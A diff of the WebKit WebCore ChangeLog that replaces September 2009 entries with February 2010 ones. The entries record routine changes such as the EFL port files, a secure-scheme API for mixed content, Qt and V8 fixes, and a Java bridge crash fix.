-        Allow WebKit clients to opt out of high resolution timers on Windows.
-        https://bugs.webkit.org/show_bug.cgi?id=29192
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35087
 
-        * page/Settings.cpp:
-        (WebCore::Settings::setShouldUseHighResolutionTimers): Added.
-        * page/Settings.h: Added getter/setter for shouldUseHighResolutionTimers.
-        (WebCore::Settings::shouldUseHighResolutionTimers): Added.
-        * platform/win/SharedTimerWin.cpp:
-        (WebCore::setSharedTimerFireTime): Don't run high resolution timer code if it is disabled.
+        * platform/efl/CursorEfl.cpp: Added.
+        * platform/efl/LocalizedStringsEfl.cpp: Added.
+        * platform/efl/SearchPopupMenuEfl.cpp: Added.
 
-2009-09-11  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Adam Barth.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        [v8] Share persistent context handles between events        
-        Change events to use a single ref-counted shared persistent handle
-        to the context in which to run, rather than create a new
-        persistent handle for each new event which puts pressure on the
-        gc.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=29077
+        Add EFL port files to page/efl.
+        http://webkit.org/b/35087
 
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::execute):
-        * bindings/v8/SharedPersistent.h: Added.
-        (WebCore::SharedPersistent::set):
-        (WebCore::SharedPersistent::get):
-        (WebCore::SharedPersistent::disposeHandle):
-        (WebCore::SharedPersistent::create):
-        (WebCore::SharedPersistent::SharedPersistent):
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
-        (WebCore::V8AbstractEventListener::handleEvent):
-        * bindings/v8/V8AbstractEventListener.h:
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
-        (WebCore::V8IsolatedWorld::~V8IsolatedWorld):
-        * bindings/v8/V8IsolatedWorld.h:
-        (WebCore::V8IsolatedWorld::context):
-        (WebCore::V8IsolatedWorld::shared_context):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::evaluateInNewContext):
-        (WebCore::V8Proxy::createWrapperFromCacheSlowCase):
-        (WebCore::V8Proxy::isContextInitialized):
-        (WebCore::V8Proxy::updateDocumentWrapperCache):
-        (WebCore::V8Proxy::clearDocumentWrapperCache):
-        (WebCore::V8Proxy::disposeContextHandles):
-        (WebCore::V8Proxy::clearForClose):
-        (WebCore::V8Proxy::clearForNavigation):
-        (WebCore::V8Proxy::setSecurityToken):
-        (WebCore::V8Proxy::updateDocument):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        (WebCore::V8Proxy::shared_context):
-        (WebCore::V8Proxy::mainWorldContext):
-        (WebCore::V8Proxy::setContextDebugId):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::V8Proxy):
-        (WebCore::V8Proxy::context):
-        (WebCore::V8Proxy::shared_context):
+        * WebCore/page/efl/DragControllerEfl.cpp: Added.
+        * WebCore/page/efl/FrameEfl.cpp: Added.
+        * WebCore/page/efl/AccessibilityObjectEfl.cpp: Added.
+        * WebCore/page/efl/EventHandlerEfl.cpp: Added.
 
-2009-09-11  Anton Muhin  <antonm@chromium.org>
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by David Levin.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Create a real handle (one which would save an object from GC).
-        https://bugs.webkit.org/show_bug.cgi?id=29150
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35087
 
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8ExternalString):
+        * WebCore/platform/efl/LoggingEfl.cpp: Added.
+        * WebCore/platform/efl/ScrollbarThemeEfl.cpp: Added.
+        * WebCore/platform/efl/TemporaryLinkStubs.cpp: Added.
+        * WebCore/platform/efl/ScrollViewEfl.cpp: Added.
+        * WebCore/platform/efl/SharedBufferEfl.cpp: Added.
+        * WebCore/platform/efl/DragDataEfl.cpp: Added.
 
-2009-09-11  Anton Muhin  <antonm@chromium.org>
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by David Levin.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Inline WebCore::v8String as it only invokes WebCore::v8ExternalString.
-        https://bugs.webkit.org/show_bug.cgi?id=29152
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35087
 
-        * bindings/v8/V8Binding.cpp:
-        * bindings/v8/V8Binding.h:
-        (WebCore::v8String):
+        * WebCore/platform/efl/RenderThemeEfl.cpp: Added.
 
-2009-09-11  Ariya Hidayat  <ariya.hidayat@nokia.com>
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Changed URLs from qtsoftware.com to qt.nokia.com, as part of a general
-        renaming.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35087
 
-        * ChangeLog-2009-06-16:
+        * WebCore/platform/efl/PlatformWheelEventEfl.cpp: Added.
+        * WebCore/platform/efl/FileChooserEfl.cpp: Added.
+        * WebCore/platform/efl/ContextMenuEfl.cpp: Added.
+        * WebCore/platform/efl/PlatformScreenEfl.cpp: Added.
+        * WebCore/platform/efl/WidgetEfl.cpp: Added.
 
-2009-09-11  Thiago Macieira  <thiago.macieira@nokia.com>
+2010-02-26  Adam Barth  <abarth@webkit.org>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Darin Fisher.
 
-        Use LIBS_PRIVATE on Qt/Mac.
+        Expose an API for ports to add schemes to the mixed content whitelist
+        https://bugs.webkit.org/show_bug.cgi?id=35438
 
-        On the Mac, it means "-framework ApplicationServices -framework Carbon
-        -framework AppKit" are no longer part of the default LIBS in Qt
-        applications. This required a lot of fixes where we used Mac-specific
-        code in Qt.
+        Add a notion of a "secure" scheme that doesn't trigger mixed content
+        warnings.  Let folks register new secure schemes in the same way they
+        can register "local" schemes.
 
-        * WebCore.pro:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::isMixedContent):
+        * page/SecurityOrigin.cpp:
+        (WebCore::secureSchemes):
+        (WebCore::SecurityOrigin::registerURLSchemeAsSecure):
+        (WebCore::SecurityOrigin::shouldTreatURLSchemeAsSecure):
+        * page/SecurityOrigin.h:
 
-2009-09-11  Cameron McCormack  <cam@mcc.id.au>
+2010-02-26  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Remove duplicated WK_{u,l}cfirst subs from CodeGeneratorV8.pm
-        https://bugs.webkit.org/show_bug.cgi?id=29165
+        [Qt] GraphicsLayerQt: artifacts and wrong transformOrigin
+        This was due to wrong way of applying cache-mode and transformation
+        on a graphics-item with HTML. Cache-mode should be updated
+        when the content type updates, even if it was the same cache-mode
+   
+        https://bugs.webkit.org/show_bug.cgi?id=35382
 
-        * bindings/scripts/CodeGeneratorV8.pm: Remove WK_ucfirst and
-        WK_lcfirst, and call the ones in CodeGenerator.pm instead.
+        Test URL attached to the bug now works correctly.
 
-2009-09-11  Yongjun Zhang  <yongjun.zhang@nokia.com>
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::computeTransform):
+        (WebCore::GraphicsLayerQtImpl::flushChanges):
 
-        Reviewed by Darin Adler.
+2010-02-26  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29132
-        Symbian winscw compiler fails compiling WebCore/text/RegularExpression.cpp.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Add RegularExpression class qualifier before Private.
+        Qt/Mac: Revert null timer removal (r51105)
+        https://bugs.webkit.org/show_bug.cgi?id=35396
 
-        * platform/text/RegularExpression.cpp:
+        r51105 removed the null timer event of the carbon event model. This however
+        breaks the flash of many sites.        
 
-2009-09-11  Yongjun Zhang  <yongjun.zhang@nokia.com>
+        Applying patch suggested by Girish Ramakrishnan in bug comment #1.
 
-        Reviewed by Darin Adler.
+        * plugins/PluginView.h:
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::nullEventTimerFired):
+        (WebCore::PluginView::mousePosForPlugin):
 
-        https://bugs.webkit.org/show_bug.cgi?id=29131
-        Use a different variadic macro format for Symbian compiler.
-        
-        Use arg... instead of ellipsis in variadic macro.        
+2010-02-26  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        * platform/StaticConstructors.h:
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-09-11  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+        [Qt] Compile error with 3d-canvas
+        Replaced a direct gl call with a getProcAddress call
+        https://bugs.webkit.org/show_bug.cgi?id=35448
 
-        Reviewed by Simon Hausmann.
+        No new tests.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28806
+        * platform/graphics/qt/GraphicsContext3DQt.cpp:
+        (WebCore::GraphicsContext3D::blendColor):
 
-        [Qt] Make the WebInspector available as a QWidget.
+2010-02-26  Kwang Yul Seo  <skyul@company100.net>
 
-        * WebCore.pro:
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-09-11  Simon Hausmann  <simon.hausmann@nokia.com>
+        [BREWMP] Port EventHandler
+        https://bugs.webkit.org/show_bug.cgi?id=34796
 
-        Unreviewed fix for the Web Inspector with the Qt build.
+        Add platform-specific code required to implement EventHandler.
 
-        Re-generate the Qt resource file by running
-        WebKitTools/Scripts/generate-qt-inspector-resource
+        * page/brew/EventHandlerBrew.cpp: Added.
+        (WebCore::EventHandler::tabsToAllControls):
+        (WebCore::EventHandler::focusDocumentView):
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        (WebCore::EventHandler::passMouseDownEventToWidget):
+        (WebCore::EventHandler::eventActivatedView):
+        (WebCore::EventHandler::passSubframeEventToSubframe):
+        (WebCore::EventHandler::passWheelEventToWidget):
+        (WebCore::EventHandler::passMousePressEventToSubframe):
+        (WebCore::EventHandler::passMouseMoveEventToSubframe):
+        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
+        (WebCore::EventHandler::accessKeyModifiers):
 
-        * inspector/front-end/WebKit.qrc:
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-2009-09-11  Simon Hausmann  <simon.hausmann@nokia.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Fix the Qt build, remove stray semicolon from function definition.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35087
 
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        (WebCore::MediaPlayerPrivate::buffered):
+        * WebCore/platform/efl/ClipboardEfl.cpp: Added.
+        * WebCore/platform/efl/PopupMenuEfl.cpp: Added.
+        * WebCore/platform/efl/SharedTimerEfl.cpp: Added.
+        * WebCore/platform/efl/RenderThemeEfl.h: Added.
+        * WebCore/platform/efl/Language.cpp: Added.
+        * WebCore/platform/efl/CookieJarEfl.cpp: Added.
+        * WebCore/platform/efl/MIMETypeRegistryEfl.cpp: Added.
 
-2009-09-10  Adam Barth  <abarth@webkit.org>
+2010-02-26  Robert Kroeger  <rjkroege@chromium.org>
 
-        Reviewed by Sam Weinig.
+        Reviewed by Nate Chapin
 
-        Detect mixed content
-        https://bugs.webkit.org/show_bug.cgi?id=29003
-
-        Detect some basic kinds of mixed content (HTTP content loaded into an
-        HTTPS context).  This new detection logic isn't perfect, but it's a
-        place to start.
-
-        Tests: http/tests/security/mixedContent/about-blank-iframe-in-main-frame.html
-               http/tests/security/mixedContent/data-url-iframe-in-main-frame.html
-               http/tests/security/mixedContent/data-url-script-in-iframe.html
-               http/tests/security/mixedContent/insecure-css-in-iframe.html
-               http/tests/security/mixedContent/insecure-css-in-main-frame.html
-               http/tests/security/mixedContent/insecure-iframe-in-iframe.html
-               http/tests/security/mixedContent/insecure-iframe-in-main-frame.html
-               http/tests/security/mixedContent/insecure-image-in-iframe.html
-               http/tests/security/mixedContent/insecure-image-in-main-frame.html
-               http/tests/security/mixedContent/insecure-script-in-iframe.html
-               http/tests/security/mixedContent/redirect-http-to-https-iframe-in-main-frame.html
-               http/tests/security/mixedContent/redirect-http-to-https-script-in-iframe.html
-               http/tests/security/mixedContent/redirect-https-to-http-iframe-in-main-frame.html
-               http/tests/security/mixedContent/redirect-https-to-http-script-in-iframe.html
-
-        * loader/DocLoader.cpp:
-        (WebCore::DocLoader::canRequest):
-        (WebCore::DocLoader::requestResource):
-        (WebCore::DocLoader::checkCacheObjectStatus):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::isMixedContent):
-        (WebCore::FrameLoader::checkIfDisplayInsecureContent):
-        (WebCore::FrameLoader::checkIfRunInsecureContent):
-        * loader/FrameLoader.h:
-        * loader/MainResourceLoader.cpp:
-        (WebCore::MainResourceLoader::willSendRequest):
+        To fire each event handler registered on an SVG node once per
+        event, Chromium needs an implementation of wasCreatedFromMarkup
+        added to V8LazyEventListener.h that matches the one in
+        WebKit/WebCore/bindings/js/JSLazyEventListener.h.
+        
+        This patch adds such a matching implementation of wasCreatedFromMarkup
+        to V8LazyEventListener.h.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=35325
 
-2009-09-10  Mark Rowe  <mrowe@apple.com>
+        * bindings/v8/V8LazyEventListener.h:
+        (WebCore::V8LazyEventListener::wasCreatedFromMarkup):
 
-        Fix the Windows build.
+2010-02-26  Arno Renevier  <arno@renevier.net>
 
-        Restore platform/mock to the header search path after it was removed in r48270.
+        Reviewed by Gustavo Noronha Silva.
 
-        * WebCore.vcproj/WebCoreCommon.vsprops:
+        [Gtk] use geoclue_position_get_position_async to get geolocation position.
+        https://bugs.webkit.org/show_bug.cgi?id=35355
 
-2009-09-08  Timothy Hatcher  <timothy@apple.com>
+        No new tests, behaviour depends on system.
 
-        Web Inspector: Move the option to create a new style rule under the Styles' gear menu.
+        * platform/gtk/GeolocationServiceGtk.cpp:
+        (WebCore::GeolocationServiceGtk::startUpdating):
+        (WebCore::GeolocationServiceGtk::get_position):
+        * platform/gtk/GeolocationServiceGtk.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=29039
+2010-02-26  Yaar Schnitman  <yaar@chromium.org>
 
-        Reviewed by Sam Weinig.
+        Chromium Win build fix.
 
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane): Add "New Style Rule" option to the gear menu.
-        (WebInspector.StylesSidebarPane.prototype._update): Check instanceof BlankStylePropertiesSection instead.
-        (WebInspector.StylesSidebarPane.prototype._changeSetting): Added. Keeps the color format setting selected
-        while calling the correct action.
-        (WebInspector.StylesSidebarPane.prototype._createNewRule): Creates a new section and edits the selector.
-        (WebInspector.StylesSidebarPane.prototype.addBlankSection): Insert the section in a cleaner way.
-        (WebInspector.StylesSidebarPane.prototype.removeSection): Added. Removes the passed in section.
-        (WebInspector.StylesSidebarPane.prototype.appropriateSelectorForNode): Return an empty string if there is no node.
-        (WebInspector.StylePropertiesSection.prototype.expand): Removed the check for _blank.
-        (WebInspector.StylePropertiesSection.prototype.startEditingSelector): No need for the context, the original selector
-        is remembered by the editing code.
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCancelled): Do nothing. The original text is already
-        restored by the editing code.
-        (WebInspector.BlankStylePropertiesSection): Call the StylePropertiesSection constructor with appropriate data.
-        Remove event listener code.
-        (WebInspector.BlankStylePropertiesSection.prototype.expand): Added. Does nothing to prevent expanding.
-        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted.callback): Correctly construct the
-        WebInspector.CSSStyleDeclaration. Call editingSelectorCancelled instead of editingCancelled.
-        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted): Renamed from editingCommitted to
-        override the base class.
-        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCancelled): Remove the section.
-        (WebInspector.BlankStylePropertiesSection.prototype.makeNormal): Removed event listener code. Removed the delete lines
-        since they were doing nothing (deleting nonexistent properties that exist only on the prototype.) Change prototypes at
-        the end to correctly swtich to a real StylePropertiesSection.
-        * inspector/front-end/inspector.js:
-        (WebInspector.startEditing.editingCancelled): Ceck for null/undefined callbacks.
-        (WebInspector.startEditing.editingCommitted): Ditto.
+        * WebCore.gyp/WebCore.gyp: Added missing file to action input.
 
-2009-09-10  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-02-12  Brett Wilson  <brettw@chromium.org>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Adam Barth.
 
-        [Qt] Fix comparison between signed and unsigned integer warnings
-        https://bugs.webkit.org/show_bug.cgi?id=29162
+        Update the Google-URL version of KURL and the V8 bindings to the new
+        behavior of KURL.IsStandard.
 
-        No functional change.
+        https://bugs.webkit.org/show_bug.cgi?id=34859
 
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::findMethodIndex):
-        * platform/MIMETypeRegistry.cpp:
-        (WebCore::initializeSupportedImageMIMETypes):
-        (WebCore::initializeSupportedImageMIMETypesForEncoding):
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::drawFocusRing):
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::duration):
-        (WebCore::ImageDecoderQt::imageAtIndex):
-        * plugins/qt/PluginPackageQt.cpp:
-        (WebCore::PluginPackage::fetchInfo):
+        This is covered by fast/dom/Window/invalid-protocol.html
 
-2009-09-10  Martin Robinson  <martin.james.robinson@gmail.com>
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::V8Location::protocolAccessorSetter):
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::setProtocol):
+        (WebCore::KURL::isHierarchical):
 
-        Reviewed by Gustavo Noronha.
+2010-02-26  Gavin Barraclough  <barraclough@apple.com>
 
-        Build fix for GTKafter r48267.
+        Reviewed by NOBODY (Build fix following r55312).
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::buffered):
+        * bridge/qt/qt_pixmapruntime.cpp:
+        (JSC::Bindings::QtPixmapInstance::invokeMethod):
 
-2009-09-08  John Abd-El-Malek  <jam@chromium.org>
+2010-02-26  Yaar Schnitman  <yaar@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        Remove unneeded define for ActiveX.
-        https://bugs.webkit.org/show_bug.cgi?id=29054
-
-        * rendering/RenderPartObject.cpp:
-        (WebCore::createClassIdToTypeMap):
-        (WebCore::serviceTypeForClassId):
-        (WebCore::RenderPartObject::updateWidget):
-
-2009-09-10  Mark Rowe  <mrowe@apple.com>
-
-        Rubber-stamped by Sam Weinig.
-
-        Don't copy IDL files in to the built framework.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-09-10  Xiaomei Ji  <xji@chromium.org>
-
-        Reviewed by Eric Seidel.
+        [V8] Auto-generate and split DerivedSourcesAllInOne.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=33048
 
-        Implment Range.expand().
-        https://bugs.webkit.org/show_bug.cgi?id=27632
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gyp/scripts/action_derivedsourcesallinone.py: Added.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Removed.
 
-        Test: fast/dom/Range/range-expand.html
+2010-02-26  Gavin Barraclough  <barraclough@apple.com>
 
-        * dom/Range.cpp:
-        (WebCore::Range::expand):
-        * dom/Range.h:
-        * dom/Range.idl:
+        Reviewed by NOBODY (Build fix following r55312).
 
-2009-09-10  Fumitoshi Ukai  <ukai@chromium.org>
+        * bridge/qt/qt_pixmapruntime.cpp:
+        (JSC::Bindings::QtPixmapInstance::invokeMethod):
 
-        Reviewed by Alexey Proskuryakov.
+2010-02-26  Alexey Proskuryakov  <ap@apple.com>
 
-        WebSocket API implementation.
-        https://bugs.webkit.org/show_bug.cgi?id=28038
-        
-        Add build systems for GNUmakefile.am, WebCore.xcodeproj and
-        WebCore.vcproj.
-        Add websockets directory and WebSocket.idl in qt build system.
-        Tests will be landed once the code is completed and functional.
-
-        * DerivedSources.cpp:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::webSocket):
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        (WebCore::toEventTarget):
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toWebSocket):
-        * dom/EventTarget.h:
-        * page/DOMWindow.idl:
-        * websockets/WebSocket.cpp:
-        (WebCore::ProcessWebSocketEventTask::create):
-        (WebCore::ProcessWebSocketEventTask::performTask):
-        (WebCore::ProcessWebSocketEventTask::ProcessWebSocketEventTask):
-        (WebCore::isValidProtocolString):
-        (WebCore::WebSocket::connect):
-        (WebCore::WebSocket::send):
-        (WebCore::WebSocket::close):
-        (WebCore::WebSocket::bufferedAmount):
-        (WebCore::WebSocket::addEventListener):
-        (WebCore::WebSocket::removeEventListener):
-        (WebCore::WebSocket::dispatchEvent):
-        (WebCore::WebSocket::didConnect):
-        (WebCore::WebSocket::didReceiveMessage):
-        (WebCore::WebSocket::didClose):
-        (WebCore::WebSocket::dispatchOpenEvent):
-        (WebCore::WebSocket::dispatchMessageEvent):
-        (WebCore::WebSocket::dispatchCloseEvent):
-        * websockets/WebSocket.h:
-        (WebCore::WebSocket::create):
-        (WebCore::WebSocket::):
-        (WebCore::WebSocket::setOnopen):
-        (WebCore::WebSocket::onopen):
-        (WebCore::WebSocket::setOnmessage):
-        (WebCore::WebSocket::onmessage):
-        (WebCore::WebSocket::setOnclose):
-        (WebCore::WebSocket::onclose):
-        (WebCore::WebSocket::toWebSocket):
-        (WebCore::WebSocket::eventListeners):
-        (WebCore::WebSocket::refEventTarget):
-        (WebCore::WebSocket::derefEventTarget):
-        * websockets/WebSocketChannel.cpp: Added.
-        * websockets/WebSocketChannel.h: Added.
-        * websockets/WebSocketChannelClient.h: Added.
-        * websockets/WebSocketHandshake.cpp: Added.
-        * websockets/WebSocketHandshake.h: Added.
-
-2009-09-10  Albert J. Wong  <ajwong@chromium.org>
-
-        No review, windows build fix only.
-        
-        Spurious semicolon causing parse error in chromium build on windows.
+        Reviewed by Anders Carlsson.
 
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::MediaPlayerPrivate::buffered):
+        https://bugs.webkit.org/show_bug.cgi?id=35450
+        Crash when a Java array property accessor raises an exception
 
-2009-09-10  Albert J. Wong  <ajwong@chromium.org>
+        Test: java/inaccessible-class.html
 
-        No review, build fix only.
+        * bridge/jni/jsc/JNIBridgeJSC.cpp: (JavaField::valueFromInstance): Check if the result
+        is null before interpreting it as an object or array.
 
-        Adding in a missed include from the last patch that is breaking the
-        chromium build.
+2010-02-26  Dirk Schulze  <krit@webkit.org>
 
-        * rendering/RenderThemeChromiumMac.mm: include TimeRanges.h
+        Reviewed by Nikolas Zimmermann.
 
-2009-09-10  Alpha Lam  <hclam@chromium.org>
+        Extend AffineTransform to mapQuad
+        https://bugs.webkit.org/show_bug.cgi?id=35444
 
-        Reviewed by Eric Carlson.
+        This makes mapQuad available for AffineTransform. So that platforms
+        can make use of it after the switch from TransformationMatrix to
+        AffineTransform in GraphicsContext.
 
-        HTMLMediaElement buffered attribute should report a list of time ranges
-        https://bugs.webkit.org/show_bug.cgi?id=29041
+        * platform/graphics/transforms/AffineTransform.cpp:
+        (WebCore::AffineTransform::mapRect): mapRect already did the calculation for mapQuad but gave back the
+                                             boundingBox of the resulting FloatQuad.
+        (WebCore::AffineTransform::mapQuad):
+        * platform/graphics/transforms/AffineTransform.h:
 
-        Changed MediaPlayerPrivateInterface and MediaPlayer's definition to
-        report a list of buffered time ranges as WebCore::TimeRanges. This
-        change also got rid of the maxTimeBuffered() method.
+2010-02-26  Brady Eidson  <beidson@apple.com>
 
-        No new tests since this is a API change.
+        Reviewed by Pavel Feldman.
 
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::percentLoaded):
-        Use MediaPlaier::buffered() instead of maxTimeBuffered().
-        (WebCore::HTMLMediaElement::buffered):
-        ditto.
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::buffered):
-        Use MediaPlayerPrivateInterface::buffered() instead of maxTimeBuffered().
-        (WebCore::MediaPlayer::buffered):
-        ditto.
-        * platform/graphics/MediaPlayer.h:
-        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
-        * platform/graphics/MediaPlayerPrivate.h:
-        ditto.
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        Implements PassRefPtr<TimeRanges> buffered();
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
-        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::buffered):
-        Implementation of buffered().
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        Implements PassRefPtr<TimeRanegs> buffered().
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.h:
-        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        Implements PassRefPtr<TimeRanges> buffered().
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
-        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
-        * platform/graphics/wince/MediaPlayerPrivateWince.h:
-        ditto.
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
-        Use buffered() instead of maxTimeBuffered().
-        * rendering/RenderThemeChromiumSkia.cpp:
-        ditto.
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::paintMediaSliderTrack):
-        ditto.
+        Arrow keys do not scroll source view in Resources pane or Scripts pane.
+        <rdar://problem/7594367> and https://bugs.webkit.org/show_bug.cgi?id=34356
 
-2009-09-10  Cameron McCormack  <cam@mcc.id.au>
+        Handle vertical scrolling in the Text Viewer:
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer): Listen for the keydown event.
+        (WebInspector.TextViewer.prototype._handleKeyDown): If the event has no modifiers and refers
+          to an arrow key, scroll. The horizontal values were ripped from the default "pixels per scroll line"
+          value in ScrollBar.h.
 
-        Reviewed by Eric Seidel.
+2010-02-26  Gavin Barraclough  <barraclough@apple.com>
 
-        Make bindings generators more aware of IDL dependencies
-        https://bugs.webkit.org/show_bug.cgi?id=29114
+        Reviewed by Alexey Proskuryakov.
 
-        Make the JS and ObjC bindings generators able to output dependency
-        rules for DerivedSources.make to consume.  These rules make a given
-        generated binding class file header, JSWhatever.h, depend on Whatever's
-        ancestor interfaces.
+        Bug 35401 - Fix handling of errors in handling calls over bridge,
+        where base object bridge-type does not match method bridge-type.
 
-        * DerivedSources.make: Pass --write-dependencies to generate-bindings.pl
-        when generating JS and ObjC bindings.  Include dependency fies that are
-        generated due to that.
-        * bindings/scripts/CodeGenerator.pm: Make
-        AddMethodsConstantsAndAttributesFromParentClasses accumulate a list of
-        the ancestor interfaces that were visited.
-        * bindings/scripts/CodeGeneratorJS.pm: Optionally write out a dependency
-        file.
-        * bindings/scripts/CodeGeneratorObjC.pm: Ditto.
-        * bindings/scripts/generate-bindings.pl: Add a --write-dependencies
-        option.
+        The code assumes users will only attempt to invoke a Java method
+        on a Java base object, etc.
+        Add language specific subclasses of RuntimeMethod, and pass the
+        RuntimeMethod into invokeMethod, so we can typecheck before
+        casting.  Throw an exception on type mismatch.
 
-2009-09-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        * WebCore.base.exp:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bridge/c/c_instance.cpp:
+        (JSC::Bindings::CRuntimeMethod::CRuntimeMethod):new class to distinguish this type of RuntimeMethod.
+        (JSC::Bindings::CInstance::getMethod): create an appropriate sublclass of RuntimeMethod.
+        (JSC::Bindings::CInstance::invokeMethod): dynamically check the type of the RuntimeMethod.
+        * bridge/c/c_instance.h:
+        * bridge/jni/jsc/JavaInstanceJSC.cpp:
+        (JavaRuntimeMethod::JavaRuntimeMethod): new class to distinguish this type of RuntimeMethod.
+        (JavaInstance::getMethod): create an appropriate sublclass of RuntimeMethod.
+        (JavaInstance::invokeMethod): dynamically check the type of the RuntimeMethod.
+        * bridge/jni/jsc/JavaInstanceJSC.h:
+        * bridge/jsc/BridgeJSC.h:
+        * bridge/objc/objc_instance.h:
+        * bridge/objc/objc_instance.mm:
+        (ObjcRuntimeMethod::ObjcRuntimeMethod): new class to distinguish this type of RuntimeMethod.
+        (ObjcInstance::getMethod): create an appropriate sublclass of RuntimeMethod.
+        (ObjcInstance::invokeMethod): dynamically check the type of the RuntimeMethod.
+        (ObjcInstance::invokeObjcMethod): new method, takes an ObjcMethod* as an argument so that we don't need to dynamically determine the type.
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::callObjCFallbackObject): use new invokeObjcMethod method.
+        * bridge/runtime_method.cpp:
+        (JSC::callRuntimeMethod): pass RuntimeMethod as argument to invokeMethod, rather than its MethodList.
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObject::methodGetter): use new getMethod method.
 
